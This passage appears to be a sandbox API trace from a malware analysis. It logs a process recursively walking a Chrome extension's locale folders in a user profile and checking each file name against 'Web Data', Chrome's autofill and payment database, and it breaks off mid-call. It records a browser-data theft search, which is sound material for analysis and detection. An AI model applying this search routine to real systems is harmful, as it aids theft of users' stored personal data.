Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it") returned 131 [0056.401] lstrlenA (lpString="\\*.*") returned 4 [0056.401] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.401] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it" [0056.401] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*.*" [0056.401] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.401] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.401] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.401] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.401] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.401] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.401] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.401] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.401] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.401] LocalFree (hMem=0x2e0100) returned 0x0 [0056.401] LocalFree (hMem=0x2e0210) returned 0x0 [0056.401] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.401] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.401] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.401] lstrlenA (lpString="\\") returned 1 [0056.401] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.401] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.401] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.401] lstrlenA (lpString="ja") returned 2 [0056.401] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.401] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.401] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja" [0056.401] LocalFree (hMem=0x2e0100) returned 0x0 [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja") returned 131 [0056.401] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja") returned 131 [0056.402] lstrlenA (lpString="\\*.*") returned 4 [0056.402] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.402] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja" [0056.402] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*.*" [0056.402] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.402] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.402] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.402] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.402] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.402] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.402] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.402] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.402] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.402] LocalFree (hMem=0x2e0100) returned 0x0 [0056.402] LocalFree (hMem=0x2e0210) returned 0x0 [0056.402] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.403] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.403] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.403] lstrlenA (lpString="\\") returned 1 [0056.403] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.403] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.403] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.403] lstrlenA (lpString="ko") returned 2 [0056.403] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.403] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.403] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko" [0056.403] LocalFree (hMem=0x2e0100) returned 0x0 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko") returned 131 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko") returned 131 [0056.403] lstrlenA (lpString="\\*.*") returned 4 [0056.403] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.403] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko" [0056.403] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*.*" [0056.403] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.403] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.403] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.403] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.403] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.403] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.403] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.403] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.403] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.403] LocalFree (hMem=0x2e0100) returned 0x0 [0056.403] LocalFree (hMem=0x2e0210) returned 0x0 [0056.403] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.403] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.403] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.403] lstrlenA (lpString="\\") returned 1 [0056.403] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.403] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.403] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.403] lstrlenA (lpString="lt") returned 2 [0056.403] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.403] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.403] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt" [0056.403] LocalFree (hMem=0x2e0100) returned 0x0 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt") returned 131 [0056.403] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt") returned 131 [0056.404] lstrlenA (lpString="\\*.*") returned 4 [0056.404] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.404] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt" [0056.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*.*" [0056.404] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.404] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.404] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.404] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.404] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.404] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.404] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.404] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.404] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.404] LocalFree (hMem=0x2e0100) returned 0x0 [0056.404] LocalFree (hMem=0x2e0210) returned 0x0 [0056.404] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.404] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.404] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.404] lstrlenA (lpString="\\") returned 1 [0056.404] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.404] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.404] lstrlenA (lpString="lv") returned 2 [0056.404] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.404] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv" [0056.404] LocalFree (hMem=0x2e0100) returned 0x0 [0056.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv") returned 131 [0056.404] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv") returned 131 [0056.404] lstrlenA (lpString="\\*.*") returned 4 [0056.404] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.404] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv" [0056.404] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*.*" [0056.404] FindFirstFileA (in: 